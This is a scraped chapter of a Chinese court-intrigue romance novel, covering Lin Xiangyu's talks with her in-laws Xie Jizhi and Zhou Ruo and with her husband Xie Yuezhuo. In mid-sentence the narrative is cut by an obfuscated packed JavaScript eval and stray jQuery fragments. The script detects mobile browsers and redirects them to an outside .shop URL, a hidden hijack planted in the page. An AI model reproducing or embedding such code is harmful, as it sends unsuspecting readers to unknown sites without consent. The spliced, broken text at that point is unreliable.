林向榆率先把话题的掌握权拿在手里,谢继之没有提出很明显的反对的意见,只是问道:“可以告诉我理由吗?我之前还在思考你是不是有入朝的潜力,但是我们之间的几次接触,我认为你是完全有能力进入朝廷的,你的魄力,也是陛下所需要的。”

    “因为儿媳从来不认为进入朝廷是一个好选择。”

    林向榆双手交叉道:“陛下视世家为猛虎,想要铲除他们,又惦记他们手中的土地,手中无人可用,因为朝中其他官员,大多也是世家的走狗,只能剑走偏锋,从王府里挑人,有着王府和陛下的庇佑,我可以儿媳可以光明正大地和世家作对,替陛下办事,儿媳猜的对吗?”

    谢继之感慨:“若不是你现在已经嫁给月酌,本王甚至想认你当义女。”

    这就是默认的意思。

    “所以,王府银两缺失,最大的原因,不是田庄大旱,不是商铺经营不善,也不是他人中饱私囊,更不是我和月酌大婚,其实是资助陛下了,是吗?”

    谢继之原本放松的身体紧绷起来:“这一切,是王妃告诉你的吗?”

    林向榆又不可能傻了吧唧地说不,这是我自己猜的,她只是留下了一个神秘微笑,任由谢继之脑补,她继续道:“可是,我认为这样,无法有效地制衡世家,陛下想要的,不过是世家手里的土地,与其费劲千辛万苦污蔑世家,不如让儿媳去田庄,亲自取得可以扳倒世家的证据,如何?至于短期的朝堂人选,我相信王爷一定另有准备,无需儿媳操心。”

    “你确定吗?真正亲自下田庄,接触世家的势力,你所动摇的利益,会让你接触到平时接触不到的风雨,可能一滴,就会要你的命。”

    她可算把这句话套出来了,她答应的一直是去王府的田庄,可是哪怕王府的田庄,都被世家的势力侵蚀了。

    王府乃至所谓的陛下,可能对此束手无策。

    所以他们指望朝廷有人能帮助他们,在官场上制衡他们。

    正如谢继之所说,亲身去田庄,相当于把自己置身于危险之中,但是,进入朝廷,也不遑多让,林向榆想,自己现在真是进退两难。

    两个黑色的,会吃人的漩涡,自己一定要在里面选一个。

    “儿媳已经思考好了,请父亲成全。”

    反正都知道王府真正的危机是因为陛下了,自己只要随便做点事,就算不能解决又如何呢?

    刚好证明了自己的能力不行,不能入朝。

    而且就谢继之和周若目前的身份地位而言,他们也不可能把小春的尸体怎么样。

    就这样吧。

    林向榆想。

    谢继之再三确认,被他那种眼神盯着,确实非常有压力,但是他面对的是林向榆,林向榆面色不变,最终谢继之没说什么,只是道:“既然如此,陛下和王府会尊重你的选择。”

    “那父亲还有什么事吗?”

    比起紧绷身体的谢继之,林向榆显得放松了许多,谢继之沉默着不语,林向榆就等着他说话。

    这时候的烛火亮的不正常,给谢继之的脸上增加了几分诡异。

    最终他开口道:“你先出去吧。”

    林向榆站起来,向外走去,这时候又听见谢继之的声音,林向榆遂回头:“你去把月酌叫进来,对了,这里忘记给你准备糕点和茶水了,是本王的疏忽。”

    “噼啪——”

    是蜡烛爆开的声音,林向榆转身离开这个小屋子,没有回答后面那个问题。

    刚走出那个小屋子,扑面而来的就是谢月酌身上的香气,慢慢笼罩了林向榆,让她感觉到心安。

    林向榆微微往谢月酌那边凑近了几步,揪着他肩部的布料,缓了一下,道:“谢继之让你进去。”

    谢月酌为了更好地听她说话,头也向林向榆靠近了几分,他一只手摸着林向榆纤细的脊背,回答道:“好。”

    随后又忍不住问道:“你有什么想对我说的吗?”

    林向榆甩了甩脑袋,让它清醒几分,稍微冷静了一下之后,林向榆立刻向前走了几步,挣开他的束缚,离谢月酌远了点,她问道:“你能听见我们在里面说什么吗?”

    谢月酌的面色有点冷,外屋的烛光没有小屋子里的亮,但是洒在谢月酌的脸上,照得他的脸颊白嫩无比,“听不见。”

    得到了自己想要的回答,林向榆嗯了一声,她看出来谢月酌不高兴了,不过她已经不想深思这是为什么了,她安慰道:“别不开心了,进去吧。”

    这个安慰聊胜于无,可能大概率就是林向榆随口说的,至于谢月酌为什么不开心,她怎么会在乎。

    “我没有不开心。”

    谢月酌强调。

    林向榆看了眼谢月酌抿起的嘴唇和微微压下去的眼睛,因为他的这个动作,本来嫣红的嘴唇显示出几分苍白,她心想谢月酌这么明显的不开心,又在闹什么。

    她都怕谢月酌在这种事上和谢继之耍小脾气,一边觉得谢月酌在大事上不是这种人,一边又觉得谢月酌真的能干出这种事。

    “那你很开心。”

    林向榆敷衍道,谢月酌扭着眼睛不看她,林向榆突然很想亲一下他的眼睫毛,她也这样做了,湿润润的,很舒服。

    她继续哄道:“那你进去别耍脾气。”

    林向榆说不出来她讲出这句话的时候心里是怎么的,可能她现在也只是想哄一下谢月酌。

    “你把我当成什么了?”

    谢月酌嘟哝着,可算也没生气,最后又看了一眼林向榆,他说:“我不会让你失望的。”

    “其实我没对你失望过”这句话卡在林向榆的喉咙口,最后她只是应了一句“好。”又继续道:“快进去吧,你爹在里面要等急了。”

    谢月酌最后还是进去了,徒留一股清香,让林向榆意识到刚才谢月酌经过了这里。

    林向榆继续往外走,周若还保持着刚才的动作不动,整个人靠在了书案上,林向榆看着她的侧脸,其实不是现在京城流行审美,和谢继之

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17644529|206584||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    也非常有夫妻相,不知道怎么生出谢月酌这么貌美的孩子的。

    不过谢月酌居然在平行时空里有这么一个和前世的自己长得一模一样的身体,连名字都是一样的,上天赏他返老还童的机会,真是太幸福了。

    “在看什么?”

    整个屋子除了林向榆没有其他人了,周若也只可能同她对话。

    周若这么问,其实她本人没有看林向榆一眼,反而目光专注地看着面前的挂画。

    林向榆那个距离看不太清挂画画的什么,她索性往前走了几步,挂画是水墨风格,画的是一个人在猎虎,林向榆没什么艺术细胞,只能这么猜测。

    “你觉得这幅画好看吗?”

    林向榆斟酌着字语,她头一次庆幸因为原主的身份,就算说不出什么话也没事。

    “非常…有王府的风格。”

    周若的反应让林向榆觉得她好像说了一个相声,而不是回答了一个问题。

    “因为这是我和王爷一起画的。”

    林向榆默然,思索自己现在是不是应该赶紧补充一个回答,比如夸夸下笔有力传神之类的。

    但是她知道周若肯定不是找她闲聊的,而且她和周若能熟到哪里去,能找她聊肯定还是那几个万变不离其宗的问题,所以林向榆干脆先下手为强。

    “娘亲,我意已决,并不打算动摇。”

    周若轻轻笑了:“你这孩子,还真是聪慧,我还没开口呢,倒是先着急表态了。”

    “……”

    林向榆还打算说些什么活跃一下气氛,一阵霹雳哐啷的声音从小屋子里传出来了。

    小屋子和外间的隔音是很好的,刚才周若和谢月酌听不见里面的声音,现在的周若和林向榆也听不见里面的声音。

    现在传来那么激烈的响动,林向榆唯恐是谢月酌说了什么难听的东西惹谢继之生气了,刚才自己走出来的时候谢继之的心情就不算好,加上谢月酌精准的煽风点火的水平,给谢继之气得打他完全是有可能的。

    这个时代谢继之打谢月酌天经地义,林向榆有点焦急,心底做法谢继之可千万别把谢月酌打死了。

    谢月酌那个小身板真的能扛得住吗?

    周若大步向前,林向榆比她更急切一些,两人齐刷刷朝着小屋内走去。

    小屋的门还算结实,没有被林向榆扯坏,万幸的万幸,谢月酌没有受伤,但是现场一片狼藉,谢月酌站在角落里,目光坦荡,就这么看着谢继之。

    谢继之气喘吁吁,被气得,周若迎上前,道:“有话不能好好和月酌说吗,在这小屋子里耍什么威风呢。”

    谢月酌没受伤。

    那就好,林向榆微微往里面走了几步,躲过在地上七仰八叉凳子,走到了谢月酌身边,关心道:“还能活几天?”

    “你也别老盼望着我死啊。”

    林向榆出现之后,谢月酌的气质都变了,本来他坦坦荡荡光明磊落的,看见林向榆,不自觉地就带了几分委屈的情绪。